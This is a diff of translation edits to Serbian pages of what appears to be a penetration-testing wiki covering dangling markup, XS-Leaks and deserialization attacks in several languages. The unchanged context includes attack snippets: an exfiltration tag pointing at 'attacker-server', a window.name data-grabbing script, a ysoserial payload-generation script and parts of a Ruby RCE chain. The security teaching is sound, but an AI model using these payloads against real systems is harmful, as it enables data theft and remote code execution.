To će učiniti da će **vrednost** **`window.name`** ako se link klikne biti sav taj **HTML sadržaj**. Stoga, pošto **kontrolišete stranicu** na kojoj žrtva pristupa klikom na link, možete pristupiti tom **`window.name`** i **ekstraktovati** te podatke:
```html
<script>
if(window.name) {
@ -130,7 +130,7 @@ The subsequent assignment fails in IE is_public = true; else is_public = false;
} function submit_new_acls() { ... if (is_public) request.access_mode =
AM_PUBLIC; ← Condition always evaluates to true ... }
```
### Zloupotreba JSONP-a
### Zloupotreba JSONP
Ako pronađete JSONP interfejs, mogli biste biti u mogućnosti da pozovete proizvoljnu funkciju sa proizvoljnim podacima:
```html
@ -186,7 +186,7 @@ Ovo se može **izbeći** sa **CSP** u vezi sa **http-equiv** ( `Content-Security
### Novi \<portal HTML tag
Možete pronaći veoma **interesting research** o iskorišćenim ranjivostima \<portal taga [here](https://research.securitum.com/security-analysis-of-portal-element/).\
Možete pronaći veoma **interesting research** o iskoristivim ranjivostima \<portal taga [ovde](https://research.securitum.com/security-analysis-of-portal-element/).\
U trenutku pisanja ovog teksta potrebno je omogućiti portal tag na Chrome-u u `chrome://flags/#enable-portals` ili neće raditi.
```html
<portal src='https://attacker-server?
@ -197,7 +197,7 @@ Nisu svi načini za curenje povezanosti u HTML-u korisni za Dangling Markup, ali
## SS-Leaks
Ovo je **mešavina** između **dangling markup i XS-Leaks**. S jedne strane, ranjivost omogućava **injekciju HTML-a** (ali ne JS) na stranici **iste domene** kao one koju ćemo napadati. S druge strane, nećemo **napadati** direktno stranicu na kojoj možemo injektovati HTML, već **drugoj stranici**.
Ovo je **mešavina** između **dangling markup i XS-Leaks**. S jedne strane, ranjivost omogućava **injekciju HTML-a** (ali ne JS) na stranicu **iste domene** koju ćemo napadati. S druge strane, nećemo **napadati** direktno stranicu na kojoj možemo injektovati HTML, već **druguu stranicu**.
{{#ref}}
ss-leaks.md
@ -205,7 +205,7 @@ ss-leaks.md
## XS-Search/XS-Leaks
XS-Search su orijentisani na **ekstrakciju informacija iz različitih domena** zloupotrebom **napada putem bočnih kanala**. Stoga, to je drugačija tehnika od Dangling Markup, međutim, neke od tehnika zloupotrebljavaju uključivanje HTML tagova (sa i bez izvršavanja JS), kao što su [**CSS Injection**](../xs-search/#css-injection) ili [**Lazy Load Images**](../xs-search/#image-lazy-loading)**.**
XS-Search su orijentisani na **ekstrakciju informacija iz različitih domena** zloupotrebom **napada putem sporednih kanala**. Stoga, to je drugačija tehnika od Dangling Markup, međutim, neke od tehnika zloupotrebljavaju uključivanje HTML tagova (sa i bez izvršavanja JS), kao što su [**CSS Injection**](../xs-search/#css-injection) ili [**Lazy Load Images**](../xs-search/#image-lazy-loading)**.**
{{#ref}}
../xs-search/

View File

@ -77,7 +77,7 @@ This is a test<br />
Ako pogledate rezultate, možete videti da se funkcije **`__wakeup`** i **`__destruct`** pozivaju kada se objekat deserializuje. Imajte na umu da u nekoliko tutorijala možete pronaći da se funkcija **`__toString`** poziva kada pokušavate da odštampate neku atribut, ali očigledno to **više ne dešava**.
> [!WARNING]
> Metoda **`__unserialize(array $data)`** se poziva **umesto `__wakeup()`** ako je implementirana u klasi. Omogućava vam da deserializujete objekat pružajući serijalizovane podatke kao niz. Možete koristiti ovu metodu za deserializaciju svojstava i obavljanje svih potrebnih zadataka prilikom deserializacije.
> Metoda **`__unserialize(array $data)`** se poziva **umesto `__wakeup()`** ako je implementirana u klasi. Omogućava vam da deserializujete objekat pružajući serijalizovane podatke kao niz. Možete koristiti ovu metodu da deserializujete svojstva i izvršite sve potrebne zadatke prilikom deserializacije.
>
> ```php
> class MyClass {
@ -85,14 +85,14 @@ Ako pogledate rezultate, možete videti da se funkcije **`__wakeup`** i **`__des
>
> public function __unserialize(array $data): void {
> $this->property = $data['property'];
> // Obavite sve potrebne zadatke prilikom deserializacije.
> // Izvršite sve potrebne zadatke prilikom deserializacije.
> }
> }
> ```
Možete pročitati objašnjen **PHP primer ovde**: [https://www.notsosecure.com/remote-code-execution-via-php-unserialize/](https://www.notsosecure.com/remote-code-execution-via-php-unserialize/), ovde [https://www.exploit-db.com/docs/english/44756-deserialization-vulnerability.pdf](https://www.exploit-db.com/docs/english/44756-deserialization-vulnerability.pdf) ili ovde [https://securitycafe.ro/2015/01/05/understanding-php-object-injection/](https://securitycafe.ro/2015/01/05/understanding-php-object-injection/)
### PHP Deserial + Autoload Classes
### PHP Deserial + Autoload Klase
Možete zloupotrebiti PHP autoload funkcionalnost da učitate proizvoljne php datoteke i još više:
@ -100,7 +100,7 @@ Možete zloupotrebiti PHP autoload funkcionalnost da učitate proizvoljne php da
php-deserialization-+-autoload-classes.md
{{#endref}}
### Serijalizacija Referenciranih Vrednosti
### Serijalizovanje Referenciranih Vrednosti
Ako iz nekog razloga želite da serijalizujete vrednost kao **referencu na drugu serijalizovanu vrednost**, možete:
```php
@ -172,7 +172,7 @@ python-yaml-deserialization.md
JS **nema "magic" funkcije** kao PHP ili Python koje će biti izvršene samo za kreiranje objekta. Ali ima neke **funkcije** koje se **često koriste čak i bez direktnog pozivanja** kao što su **`toString`**, **`valueOf`**, **`toJSON`**.\
Ako zloupotrebljavate deserializaciju, možete **kompromitovati ove funkcije da izvršite drugi kod** (potencijalno zloupotrebljavajući prototipske zagađenja) i mogli biste izvršiti proizvoljan kod kada se pozovu.
Još jedan **"magic" način da pozovete funkciju** bez direktnog pozivanja je **kompromitovanjem objekta koji se vraća iz async funkcije** (promise). Jer, ako **transformišete** taj **vraćeni objekat** u drugi **promise** sa **svojstvom** pod nazivom **"then" tipa funkcije**, biće **izvršen** samo zato što je vraćen iz drugog promise-a. _Pratite_ [_**ovaj link**_](https://blog.huli.tw/2022/07/11/en/googlectf-2022-horkos-writeup/) _za više informacija._
Još jedan **"magic" način da pozovete funkciju** bez direktnog pozivanja je **kompromitovanjem objekta koji se vraća iz async funkcije** (promise). Jer, ako **transformišete** taj **vraćeni objekat** u drugu **promise** sa **svojstvom** pod nazivom **"then" tipa funkcija**, biće **izvršena** samo zato što je vraćena iz druge promise. _Pratite_ [_**ovaj link**_](https://blog.huli.tw/2022/07/11/en/googlectf-2022-horkos-writeup/) _za više informacija._
```javascript
// If you can compromise p (returned object) to be a promise
// it will be executed just because it's the return object of an async function:
@ -342,7 +342,7 @@ Za testiranje crne kutije, tražite specifične **potpise ili "Magic Bytes"** ko
- HTTP odgovarajući zaglavlja sa `Content-type` postavljenim na `application/x-java-serialized-object`.
- Hexadecimalni obrazac koji označava prethodnu kompresiju: `1F 8B 08 00`.
- Base64 obrazac koji označava prethodnu kompresiju: `H4sIA`.
- Web datoteke sa ekstenzijom `.faces` i parametrom `faces.ViewState`. Otkriće ovih obrazaca u web aplikaciji treba da podstakne ispitivanje kao što je detaljno opisano u [postu o Java JSF ViewState Deserialization](java-jsf-viewstate-.faces-deserialization.md).
- Web datoteke sa ekstenzijom `.faces` i parametrom `faces.ViewState`. Otkriće ovih obrazaca u web aplikaciji treba da podstakne ispitivanje kao što je detaljno opisano u [postu o Java JSF ViewState Deserializaciji](java-jsf-viewstate-.faces-deserialization.md).
```
javax.faces.ViewState=rO0ABXVyABNbTGphdmEubGFuZy5PYmplY3Q7kM5YnxBzKWwCAAB4cAAAAAJwdAAML2xvZ2luLnhodG1s
```
@ -359,17 +359,17 @@ grep -R InvokeTransformer .
```
Možete pokušati da **proverite sve biblioteke** za koje je poznato da su ranjive i za koje [**Ysoserial**](https://github.com/frohoff/ysoserial) može da pruži exploit. Ili možete proveriti biblioteke navedene na [Java-Deserialization-Cheat-Sheet](https://github.com/GrrrDog/Java-Deserialization-Cheat-Sheet#genson-json).\
Takođe možete koristiti [**gadgetinspector**](https://github.com/JackOfMostTrades/gadgetinspector) da tražite moguće gadget lance koji se mogu iskoristiti.\
Kada pokrećete **gadgetinspector** (nakon što ga izgradite) ne obraćajte pažnju na mnoštvo upozorenja/grešaka kroz koje prolazi i pustite ga da završi. Zapišaće sve nalaze pod _gadgetinspector/gadget-results/gadget-chains-year-month-day-hore-min.txt_. Molim vas, imajte na umu da **gadgetinspector neće kreirati exploit i može ukazivati na lažne pozitivne rezultate**.
Kada pokrećete **gadgetinspector** (nakon što ga izgradite), ne obraćajte pažnju na mnoštvo upozorenja/grešaka kroz koje prolazi i pustite ga da završi. Zapišaće sve nalaze pod _gadgetinspector/gadget-results/gadget-chains-year-month-day-hore-min.txt_. Molim vas, imajte na umu da **gadgetinspector neće kreirati exploit i može ukazivati na lažne pozitivne rezultate**.
#### Black Box Test
Koristeći Burp ekstenziju [**gadgetprobe**](java-dns-deserialization-and-gadgetprobe.md) možete identifikovati **koje biblioteke su dostupne** (pa čak i verzije). Sa ovom informacijom bi moglo biti **lakše odabrati payload** za iskorišćavanje ranjivosti.\
[**Pročitajte ovo da saznate više o GadgetProbe**](java-dns-deserialization-and-gadgetprobe.md#gadgetprobe)**.**\
GadgetProbe je fokusiran na **`ObjectInputStream` deserializacije**.
[**Pročitajte ovo da biste saznali više o GadgetProbe**](java-dns-deserialization-and-gadgetprobe.md#gadgetprobe)**.**\
GadgetProbe se fokusira na **`ObjectInputStream` deserializacije**.
Koristeći Burp ekstenziju [**Java Deserialization Scanner**](java-dns-deserialization-and-gadgetprobe.md#java-deserialization-scanner) možete **identifikovati ranjive biblioteke** koje se mogu iskoristiti sa ysoserial i **iskoristiti** ih.\
[**Pročitajte ovo da saznate više o Java Deserialization Scanner.**](java-dns-deserialization-and-gadgetprobe.md#java-deserialization-scanner)\
Java Deserialization Scanner je fokusiran na **`ObjectInputStream`** deserializacije.
[**Pročitajte ovo da biste saznali više o Java Deserialization Scanner.**](java-dns-deserialization-and-gadgetprobe.md#java-deserialization-scanner)\
Java Deserialization Scanner se fokusira na **`ObjectInputStream`** deserializacije.
Takođe možete koristiti [**Freddy**](https://github.com/nccgroup/freddy) da **otkrijete deserializacione** ranjivosti u **Burp**. Ovaj dodatak će otkriti **ne samo `ObjectInputStream`** povezane ranjivosti, već **takođe** ranjivosti iz **Json** i **Yml** deserializacionih biblioteka. U aktivnom režimu, pokušaće da ih potvrdi koristeći sleep ili DNS payloads.\
[**Više informacija o Freddyu možete pronaći ovde.**](https://www.nccgroup.com/us/about-us/newsroom-and-events/blog/2018/june/finding-deserialisation-issues-has-never-been-easier-freddy-the-serialisation-killer/)
@ -432,7 +432,7 @@ base64 -w0 payload
```
Kada kreirate payload za **java.lang.Runtime.exec()** ne **možete koristiti specijalne karaktere** kao što su ">" ili "|" za preusmeravanje izlaza izvršenja, "$()" za izvršavanje komandi ili čak **proslediti argumente** komandi odvojene sa **razmacima** (možete uraditi `echo -n "hello world"` ali ne možete uraditi `python2 -c 'print "Hello world"'`). Da biste ispravno kodirali payload, možete [koristiti ovu veb stranicu](http://www.jackson-t.ca/runtime-exec-payloads.html).
Slobodno koristite sledeći skript za kreiranje **svi mogućih payload-a za izvršavanje koda** za Windows i Linux, a zatim ih testirajte na ranjivoj veb stranici:
Slobodno koristite sledeći skript za kreiranje **svih mogućih kod izvršavanja** payload-a za Windows i Linux, a zatim ih testirajte na ranjivoj veb stranici:
```python
import os
import base64
@ -455,7 +455,7 @@ generate('Linux', 'ping -c 1 nix.REPLACE.server.local')
```
#### serialkillerbypassgadgets
Možete **koristiti** [**https://github.com/pwntester/SerialKillerBypassGadgetCollection**](https://github.com/pwntester/SerialKillerBypassGadgetCollection) **zajedno sa ysoserial za kreiranje više eksploita**. Više informacija o ovom alatu možete pronaći u **prezentacijama sa predavanja** gde je alat predstavljen: [https://es.slideshare.net/codewhitesec/java-deserialization-vulnerabilities-the-forgotten-bug-class?next_slideshow=1](https://es.slideshare.net/codewhitesec/java-deserialization-vulnerabilities-the-forgotten-bug-class?next_slideshow=1)
Možete **koristiti** [**https://github.com/pwntester/SerialKillerBypassGadgetCollection**](https://github.com/pwntester/SerialKillerBypassGadgetCollection) **zajedno sa ysoserial da kreirate više eksploita**. Više informacija o ovom alatu možete pronaći u **slajdovima prezentacije** gde je alat predstavljen: [https://es.slideshare.net/codewhitesec/java-deserialization-vulnerabilities-the-forgotten-bug-class?next_slideshow=1](https://es.slideshare.net/codewhitesec/java-deserialization-vulnerabilities-the-forgotten-bug-class?next_slideshow=1)
#### marshalsec
@ -486,7 +486,7 @@ Pročitajte više o ovoj Java JSON biblioteci: [https://www.alphabot.com/securit
### Labs
- Ako želite da testirate neke ysoserial payload-e, možete **pokrenuti ovu web aplikaciju**: [https://github.com/hvqzao/java-deserialize-webapp](https://github.com/hvqzao/java-deserialize-webapp)
- Ako želite da testirate neke ysoserial payload-ove možete **pokrenuti ovu web aplikaciju**: [https://github.com/hvqzao/java-deserialize-webapp](https://github.com/hvqzao/java-deserialize-webapp)
- [https://diablohorn.com/2017/09/09/understanding-practicing-java-deserialization-exploits/](https://diablohorn.com/2017/09/09/understanding-practicing-java-deserialization-exploits/)
### Zašto
@ -550,13 +550,13 @@ return super.resolveClass(desc);
```
-javaagent:name-of-agent.jar
```
Omogućava način za dinamičko osiguranje deserializacije, idealno za okruženja gde su trenutne promene koda nepraktične.
Omogućava način za dinamičko obezbeđivanje deserializacije, idealno za okruženja gde su trenutne promene koda nepraktične.
Pogledajte primer u [rO0 by Contrast Security](https://github.com/Contrast-Security-OSS/contrast-rO0)
**Implementacija filtera za serijalizaciju**: Java 9 je uvela filtere za serijalizaciju putem **`ObjectInputFilter`** interfejsa, pružajući moćan mehanizam za određivanje kriterijuma koje serijalizovani objekti moraju ispuniti pre nego što budu deseralizovani. Ovi filteri se mogu primeniti globalno ili po toku, nudeći granularnu kontrolu nad procesom deseralizacije.
**Implementacija filtera za serijalizaciju**: Java 9 je uvela filtere za serijalizaciju putem **`ObjectInputFilter`** interfejsa, pružajući moćan mehanizam za određivanje kriterijuma koje serijalizovani objekti moraju ispuniti pre nego što budu deserializovani. Ovi filteri se mogu primeniti globalno ili po toku, nudeći granularnu kontrolu nad procesom deserializacije.
Da biste koristili filtere za serijalizaciju, možete postaviti globalni filter koji se primenjuje na sve operacije deseralizacije ili ga dinamički konfigurisati za specifične tokove. Na primer:
Da biste koristili filtere za serijalizaciju, možete postaviti globalni filter koji se primenjuje na sve operacije deserializacije ili ga dinamički konfigurisati za specifične tokove. Na primer:
```java
ObjectInputFilter filter = info -> {
if (info.depth() > MAX_DEPTH) return Status.REJECTED; // Limit object graph depth
@ -580,7 +580,7 @@ ObjectInputFilter.Config.setSerialFilter(filter);
- Deserialization i ysoserial razgovor: [http://frohoff.github.io/appseccali-marshalling-pickles/](http://frohoff.github.io/appseccali-marshalling-pickles/)
- [https://foxglovesecurity.com/2015/11/06/what-do-weblogic-websphere-jboss-jenkins-opennms-and-your-application-have-in-common-this-vulnerability/](https://foxglovesecurity.com/2015/11/06/what-do-weblogic-websphere-jboss-jenkins-opennms-and-your-application-have-in-common-this-vulnerability/)
- [https://www.youtube.com/watch?v=VviY3O-euVQ](https://www.youtube.com/watch?v=VviY3O-euVQ)
- Razgovor o gadgetinspector: [https://www.youtube.com/watch?v=wPbW6zQ52w8](https://www.youtube.com/watch?v=wPbW6zQ52w8) i slajdovi: [https://i.blackhat.com/us-18/Thu-August-9/us-18-Haken-Automated-Discovery-of-Deserialization-Gadget-Chains.pdf](https://i.blackhat.com/us-18/Thu-August-9/us-18-Haken-Automated-Discovery-of-Deserialization-Gadget-Chains.pdf)
- Razgovor o gadgetinspectoru: [https://www.youtube.com/watch?v=wPbW6zQ52w8](https://www.youtube.com/watch?v=wPbW6zQ52w8) i slajdovi: [https://i.blackhat.com/us-18/Thu-August-9/us-18-Haken-Automated-Discovery-of-Deserialization-Gadget-Chains.pdf](https://i.blackhat.com/us-18/Thu-August-9/us-18-Haken-Automated-Discovery-of-Deserialization-Gadget-Chains.pdf)
- Marshalsec rad: [https://www.github.com/mbechler/marshalsec/blob/master/marshalsec.pdf?raw=true](https://www.github.com/mbechler/marshalsec/blob/master/marshalsec.pdf?raw=true)
- [https://dzone.com/articles/why-runtime-compartmentalization-is-the-most-compr](https://dzone.com/articles/why-runtime-compartmentalization-is-the-most-compr)
- [https://deadcode.me/blog/2016/09/02/Blind-Java-Deserialization-Commons-Gadgets.html](https://deadcode.me/blog/2016/09/02/Blind-Java-Deserialization-Commons-Gadgets.html)
@ -598,7 +598,7 @@ jndi-java-naming-and-directory-interface-and-log4shell.md
## JMS - Java Message Service
> **Java Message Service** (**JMS**) API je Java API za middleware orijentisan na poruke za slanje poruka između dva ili više klijenata. To je implementacija za rešavanje problema proizvođača i potrošača. JMS je deo Java Platforme, Enterprise Edition (Java EE), i definisan je specifikacijom razvijenom u Sun Microsystems, ali koju je od tada vodio Java Community Process. To je standard za poruke koji omogućava komponentama aplikacija zasnovanim na Java EE da kreiraju, šalju, primaju i čitaju poruke. Omogućava komunikaciju između različitih komponenti distribuirane aplikacije da bude labavo povezana, pouzdana i asinkrona. (Iz [Wikipedia](https://en.wikipedia.org/wiki/Java_Message_Service)).
> **Java Message Service** (**JMS**) API je Java middleware API orijentisan na poruke za slanje poruka između dva ili više klijenata. To je implementacija za rešavanje problema proizvođača i potrošača. JMS je deo Java Platforme, Enterprise Edition (Java EE), i definisan je specifikacijom razvijenom u Sun Microsystems, ali koju je od tada vodio Java Community Process. To je standard za poruke koji omogućava komponentama aplikacija zasnovanim na Java EE da kreiraju, šalju, primaju i čitaju poruke. Omogućava komunikaciju između različitih komponenti distribuirane aplikacije da bude labavo povezana, pouzdana i asinkrona. (Iz [Wikipedia](https://en.wikipedia.org/wiki/Java_Message_Service)).
### Proizvodi
@ -610,10 +610,10 @@ Postoji nekoliko proizvoda koji koriste ovaj middleware za slanje poruka:
### Eksploatacija
Dakle, u suštini postoji **puno usluga koje koriste JMS na opasan način**. Stoga, ako imate **dovoljno privilegija** da šaljete poruke ovim uslugama (obično će vam biti potrebne važeće akreditive) mogli biste biti u mogućnosti da pošaljete **zlonamerne objekte serijalizovane koji će biti deserializovani od strane potrošača/pretplatnika**.\
Dakle, u suštini postoji **puno usluga koje koriste JMS na opasan način**. Stoga, ako imate **dovoljno privilegija** da šaljete poruke ovim uslugama (obično će vam biti potrebne važeće akreditive), mogli biste biti u mogućnosti da pošaljete **zlonamerne objekte serijalizovane koji će biti deserializovani od strane potrošača/pretplatnika**.\
To znači da će u ovoj eksploataciji svi **klijenti koji će koristiti tu poruku biti zaraženi**.
Trebalo bi da zapamtite da čak i ako je usluga ranjiva (jer nesigurno deserializuje korisnički unos) i dalje morate pronaći važeće gadgete da iskoristite ranjivost.
Trebalo bi da zapamtite da čak i ako je usluga ranjiva (jer nesigurno deserializuje korisnički unos), i dalje morate pronaći važeće gadgete da iskoristite ranjivost.
Alat [JMET](https://github.com/matthiaskaiser/jmet) je kreiran da **poveže i napadne ove usluge šaljući nekoliko zlonamernih objekata serijalizovanih koristeći poznate gadgete**. Ove eksploatacije će raditi ako je usluga još uvek ranjiva i ako je neki od korišćenih gadgeta unutar ranjive aplikacije.
@ -645,20 +645,20 @@ Pretraga treba da bude usmerena na Base64 kodiranu string **AAEAAAD/////** ili b
U ovom slučaju možete koristiti alat [**ysoserial.net**](https://github.com/pwntester/ysoserial.net) kako biste **napravili eksploatacije deserializacije**. Kada preuzmete git repozitorijum, trebali biste **kompilirati alat** koristeći Visual Studio, na primer.
Ako želite da saznate **kako ysoserial.net kreira svoju eksploataciju** možete [**proveriti ovu stranicu gde je objašnjen ObjectDataProvider gadget + ExpandedWrapper + Json.Net formatter**](basic-.net-deserialization-objectdataprovider-gadgets-expandedwrapper-and-json.net.md).
Ako želite da saznate **kako ysoserial.net pravi svoju eksploataciju**, možete [**proveriti ovu stranicu gde je objašnjen ObjectDataProvider gadget + ExpandedWrapper + Json.Net formatter**](basic-.net-deserialization-objectdataprovider-gadgets-expandedwrapper-and-json.net.md).
Glavne opcije **ysoserial.net** su: **`--gadget`**, **`--formatter`**, **`--output`** i **`--plugin`.**
- **`--gadget`** se koristi za označavanje gadgeta koji će se zloupotrebiti (označava klasu/funkciju koja će se zloupotrebiti tokom deserializacije za izvršavanje komandi).
- **`--formatter`**, koristi se za označavanje metode za serijalizaciju eksploatacije (morate znati koju biblioteku koristi back-end za deserializaciju payload-a i koristiti istu za serijalizaciju).
- **`--output`** se koristi za označavanje da li želite eksploataciju u **raw** ili **base64** kodiranom formatu. _Napomena da će **ysoserial.net** **kodirati** payload koristeći **UTF-16LE** (kodiranje koje se koristi po defaultu na Windows-u) tako da ako dobijete raw i jednostavno ga kodirate iz linux konzole mogli biste imati neke **probleme sa kompatibilnošću kodiranja** koji će sprečiti da eksploatacija funkcioniše ispravno (u HTB JSON kutiji payload je radio u oba UTF-16LE i ASCII, ali to ne znači da će uvek raditi)._
- **`--output`** se koristi za označavanje da li želite eksploataciju u **raw** ili **base64** kodiranom formatu. _Napomena da će **ysoserial.net** **kodirati** payload koristeći **UTF-16LE** (kodiranje koje se koristi po defaultu na Windows-u), tako da ako dobijete raw i jednostavno ga kodirate iz linux konzole, mogli biste imati neke **probleme sa kompatibilnošću kodiranja** koji će sprečiti da eksploatacija funkcioniše ispravno (u HTB JSON kutiji payload je radio u oba UTF-16LE i ASCII, ali to ne znači da će uvek raditi)._
- **`--plugin`** ysoserial.net podržava plugine za kreiranje **eksploatacija za specifične okvire** kao što je ViewState.
#### Više ysoserial.net parametara
- `--minify` će pružiti **manji payload** (ako je moguće)
- `--raf -f Json.Net -c "anything"` Ovo će označiti sve gadgete koji se mogu koristiti sa datim formatter-om (`Json.Net` u ovom slučaju)
- `--sf xml` možete **označiti gadget** (`-g`) i ysoserial.net će tražiti formatere koji sadrže "xml" (ne razlikuje velika i mala slova)
- `--raf -f Json.Net -c "anything"` Ovo će označiti sve gadgete koji se mogu koristiti sa datim formatterom (`Json.Net` u ovom slučaju)
- `--sf xml` možete **označiti gadget** (`-g`) i ysoserial.net će tražiti formatere koji sadrže "xml" (ne razlikuje se po velikim i malim slovima)
**ysoserial primeri** za kreiranje eksploatacija:
```bash
@ -706,7 +706,7 @@ return obj;
}
```
U **prethodnom kodu je ranjiv na stvoreni exploit**. Dakle, ako pronađete nešto slično u .Net aplikaciji, to znači da je verovatno i ta aplikacija ranjiva.\
Zato **`--test`** parametar omogućava da razumemo **koji delovi koda su ranjivi** na exploit deserializacije koji **ysoserial.net** može stvoriti.
Zato **`--test`** parametar omogućava da razumemo **koji delovi koda su ranjivi** na deserializaciju exploit koji **ysoserial.net** može stvoriti.
### ViewState
@ -737,7 +737,7 @@ Da biste umanjili rizike povezane sa deserializacijom u .Net:
U Ruby-ju, serijalizacija se olakšava pomoću dve metode unutar **marshal** biblioteke. Prva metoda, poznata kao **dump**, koristi se za transformaciju objekta u bajt tok. Ovaj proces se naziva serijalizacija. Nasuprot tome, druga metoda, **load**, se koristi za vraćanje bajt toka nazad u objekat, proces poznat kao deserializacija.
Za zaštitu serijalizovanih objekata, **Ruby koristi HMAC (Hash-Based Message Authentication Code)**, osiguravajući integritet i autentičnost podataka. Ključ koji se koristi u tu svrhu čuva se na jednom od nekoliko mogućih mesta:
Za zaštitu serijalizovanih objekata, **Ruby koristi HMAC (Hash-Based Message Authentication Code)**, osiguravajući integritet i autentičnost podataka. Ključ korišćen za ovu svrhu čuva se na jednom od nekoliko mogućih mesta:
- `config/environment.rb`
- `config/initializers/secret_token.rb`
@ -815,7 +815,7 @@ require "base64"
puts "Payload (Base64 encoded):"
puts Base64.encode64(payload)
```
Drugi RCE lanac za iskorišćavanje Ruby On Rails: [https://codeclimate.com/blog/rails-remote-code-execution-vulnerability-explained/](https://codeclimate.com/blog/rails-remote-code-execution-vulnerability-explained/)
Drugi RCE lanac za eksploataciju Ruby On Rails: [https://codeclimate.com/blog/rails-remote-code-execution-vulnerability-explained/](https://codeclimate.com/blog/rails-remote-code-execution-vulnerability-explained/)
### Ruby .send() metoda
@ -848,25 +848,25 @@ candidate_methods = repo_methods.select() do |method_name|
end
candidate_methods.length() # Final number of methods=> 3595
```
### Ruby klasa zagađenja
### Ruby class pollution
Proverite kako bi moglo biti moguće [zagađenje Ruby klase i njeno zloupotrebljavanje ovde](ruby-class-pollution.md).
Proverite kako bi moglo biti moguće da [zagađujete Ruby klasu i zloupotrebljavate je ovde](ruby-class-pollution.md).
### Ruby _json zagađenje
### Ruby _json pollution
Kada se šalju neki vrednosti u telu koje nisu hashable, poput niza, one će biti dodate u novi ključ pod nazivom `_json`. Međutim, moguće je da napadač takođe postavi u telo vrednost pod nazivom `_json` sa proizvoljnim vrednostima koje želi. Tada, ako backend, na primer, proverava istinitost parametra, ali zatim takođe koristi `_json` parametar za izvršavanje neke akcije, moglo bi doći do zaobilaženja autorizacije.
Kada se šalju neki vrednosti u telu koje nisu hashable, poput niza, biće dodate u novi ključ pod nazivom `_json`. Međutim, moguće je da napadač takođe postavi u telo vrednost pod nazivom `_json` sa proizvoljnim vrednostima koje želi. Tada, ako backend, na primer, proverava istinitost parametra, ali zatim takođe koristi `_json` parametar za izvršavanje neke akcije, mogla bi se izvršiti zaobilaženje autorizacije.
Proverite više informacija na [stranici Ruby _json zagađenja](ruby-_json-pollution.md).
Proverite više informacija na [Ruby _json pollution stranici](ruby-_json-pollution.md).
### Druge biblioteke
### Other libraries
Ova tehnika je preuzeta[ **iz ovog blog posta**](https://github.blog/security/vulnerability-research/execute-commands-by-sending-json-learn-how-unsafe-deserialization-vulnerabilities-work-in-ruby-projects/?utm_source=pocket_shared).
Postoje druge Ruby biblioteke koje se mogu koristiti za serijalizaciju objekata i stoga bi mogle biti zloupotrebljene za dobijanje RCE tokom nesigurne deserializacije. Sledeća tabela prikazuje neke od ovih biblioteka i metodu koju pozivaju iz učitane biblioteke kada god je deserializovana (funkcija koja se zloupotrebljava za dobijanje RCE u suštini):
Postoje druge Ruby biblioteke koje se mogu koristiti za serijalizaciju objekata i stoga bi mogle biti zloupotrebljene za dobijanje RCE tokom nesigurne deserializacije. Sledeća tabela prikazuje neke od ovih biblioteka i metodu koju pozivaju iz učitane biblioteke kada god je deserializovana (funkcija za zloupotrebu za dobijanje RCE u suštini):
<table data-header-hidden><thead><tr><th width="179"></th><th width="146"></th><th></th></tr></thead><tbody><tr><td><strong>Biblioteka</strong></td><td><strong>Ulazni podaci</strong></td><td><strong>Pokretačka metoda unutar klase</strong></td></tr><tr><td>Marshal (Ruby)</td><td>Binarnu</td><td><code>_load</code></td></tr><tr><td>Oj</td><td>JSON</td><td><code>hash</code> (klasa treba da bude stavljena u hash(mapa) kao ključ)</td></tr><tr><td>Ox</td><td>XML</td><td><code>hash</code> (klasa treba da bude stavljena u hash(mapa) kao ključ)</td></tr><tr><td>Psych (Ruby)</td><td>YAML</td><td><code>hash</code> (klasa treba da bude stavljena u hash(mapa) kao ključ)<br><code>init_with</code></td></tr><tr><td>JSON (Ruby)</td><td>JSON</td><td><code>json_create</code> ([vidi beleške o json_create na kraju](#table-vulnerable-sinks))</td></tr></tbody></table>
<table data-header-hidden><thead><tr><th width="179"></th><th width="146"></th><th></th></tr></thead><tbody><tr><td><strong>Library</strong></td><td><strong>Input data</strong></td><td><strong>Kick-off method inside class</strong></td></tr><tr><td>Marshal (Ruby)</td><td>Binary</td><td><code>_load</code></td></tr><tr><td>Oj</td><td>JSON</td><td><code>hash</code> (klasa mora biti stavljena u hash(mapu) kao ključ)</td></tr><tr><td>Ox</td><td>XML</td><td><code>hash</code> (klasa mora biti stavljena u hash(mapu) kao ključ)</td></tr><tr><td>Psych (Ruby)</td><td>YAML</td><td><code>hash</code> (klasa mora biti stavljena u hash(mapu) kao ključ)<br><code>init_with</code></td></tr><tr><td>JSON (Ruby)</td><td>JSON</td><td><code>json_create</code> ([vidi beleške o json_create na kraju](#table-vulnerable-sinks))</td></tr></tbody></table>
Osnovni primer:
Basic example:
```ruby
# Existing Ruby class inside the code of the app
class SimpleClass

View File

@ -18,7 +18,7 @@ Korišćenjem [**dnSpy**](https://github.com/0xd4d/dnSpy) možete **inspektovati
![](<../../images/image (427).png>)
Kao što možete primetiti, kada je `MethodName` postavljen, poziva se `base.Refresh()`, hajde da pogledamo šta to radi:
Kao što možete primetiti kada je `MethodName` postavljen, poziva se `base.Refresh()`, hajde da pogledamo šta to radi:
![](<../../images/image (319).png>)
@ -26,7 +26,7 @@ U redu, hajde da nastavimo da vidimo šta radi `this.BeginQuery()`. `BeginQuery`
![](<../../images/image (345).png>)
Napomena: na kraju koda poziva se `this.QueryWorke(null)`. Pogledajmo šta to izvršava:
Napomena: na kraju koda poziva se `this.QueryWorke(null)`. Hajde da vidimo šta to izvršava:
![](<../../images/image (596).png>)
@ -56,10 +56,10 @@ Napomena da je potrebno dodati kao referencu _C:\Windows\Microsoft.NET\Framework
## ExpandedWrapper
Koristeći prethodni exploit, biće slučajeva kada će **objekat** biti **deserijalizovan kao** _**ObjectDataProvider**_ instanca (na primer u DotNetNuke vuln, koristeći XmlSerializer, objekat je deserijalizovan koristeći `GetType`). Tada, neće imati **znanje o tipu objekta koji je obavijen** u _ObjectDataProvider_ instanci (`Process`, na primer). Možete pronaći više [informacija o DotNetNuke vuln ovde](https://translate.google.com/translate?hl=en&sl=auto&tl=en&u=https%3A%2F%2Fpaper.seebug.org%2F365%2F&sandbox=1).
Koristeći prethodni exploit, biće slučajeva gde će **objekat** biti **deserijalizovan kao** instanca _**ObjectDataProvider**_ (na primer u DotNetNuke vuln, koristeći XmlSerializer, objekat je deserijalizovan koristeći `GetType`). Tada, neće imati **znanje o tipu objekta koji je obavijen** u instanci _ObjectDataProvider_ (`Process`, na primer). Možete pronaći više [informacija o DotNetNuke vuln ovde](https://translate.google.com/translate?hl=en&sl=auto&tl=en&u=https%3A%2F%2Fpaper.seebug.org%2F365%2F&sandbox=1).
